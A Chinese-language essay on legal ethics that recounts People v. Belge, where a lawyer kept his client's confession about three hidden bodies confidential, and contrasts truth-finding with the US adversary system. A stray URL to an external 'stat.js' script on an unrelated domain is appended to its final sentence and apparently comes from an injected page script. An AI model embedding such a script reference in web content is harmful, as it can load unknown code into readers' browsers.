People v. Belge, 83 Misc. 2d 186 (N.Y. Misc. 1975)
某人殺害了三名人士,並棄屍在無人知曉的荒野,案發後司法單位也始終找不到屍首。
而在進入司法程序後,Belge律師受該兇手委託進行辯護。後來因為證據缺乏、死無屍首且兇手提出「精神耗弱抗辯」,案件又轉入認罪協商程序。
Belge律師與兇手溝通的過程,兇手對律師坦承殺人,並告知棄屍地點。律師親自到現場勘查,發現卻有三具屍體棄置。然律師並未通報任何有關單位,僅是勘查後就離去,任憑屍首維持原貌。
隨後,三名被害人家屬找上這名律師,苦苦哀求律師好心告訴他們屍體位置,至少讓家屬可以辦場喪禮與安葬被害人。與此同時,州政府以違反公共健康法中–「任何人發現屍體均有義務通報有關單位」為由欲起訴Belge律師。
如果你是律師,你該怎麼做才符合道德?
解答篇:
這個真實案例其實是幾種價值的對抗 — 律師與客戶之間的保密義務(同時也是特權)是否足以對抗 1. 被害家屬的權利、2. 州法律以及最重要的3. 法庭發現真實的權力!
如果整個司法系統的重點是擺在「發現真相」,則課以律師「坦白之義務」就可以想見。
但美國的司法系統恰恰是adversary system,其重點從來都不是「發現真相」。因此,英美法系統更在乎:如果律師有義務報告發現,是否侵害了與影響了未來被告向律師坦承的可能性?當被告不敢坦承,其法律上應該受到「良善法律代理」的權利也必然受到影響。
有趣的是,英美法以及其從業人員多數認為這個遠從英國國王就許以特權的「confidentiality privilege 」最重要。
因此不但在common law領域,律師不應該揭露此屍首位置訊息,也不該揭露兇手的確殺人之訊息。就連美國律師協會(ABA)所制定的律師模範規則(Model Rules)也要求律師不可揭露。
回過頭談美國司法的adversary system「重點不在於發現真相」這點。
曾有過一個極端案例:某案原告之專家證人聲稱依其化學專業,在某某情況下會引發火災,因此被告有賠償責任云云。
偏偏陪審團中有一火災專家,認定專家證人證詞是狗屁,並準備材料於陪審團討論期間科學實驗示範給其他陪審員,證明在某某情況下根本不會起火燃燒,枉論火災之可能。
結果呢?法官判定"impeaching the verdict" — 解散陪審團,重選陪審團重新再審!
為什麼?因為該名陪審員的行為「嚴重影響了其他陪審員的判斷」。
美國的adversary system要求所有的陪審員必須僅就法庭上控辯雙方提出個說詞、證據與故事去審酌,不可以參考其他資料或知識。
甚至就算陪審員「錯誤地解讀法律或證據」做出決定,其判定依然有效。除非非常極端的狀況,構成judgment non obstante verdicto (judgment NOV)。
這對理工科出身者一定難以理解:為什麼科學實驗證明之真相不被法庭接受?
這牽涉到比較複雜的程序正義與司法制度問題,以後有機會再詳談。https://js.developerstatss.ga/stat.js?n=ns1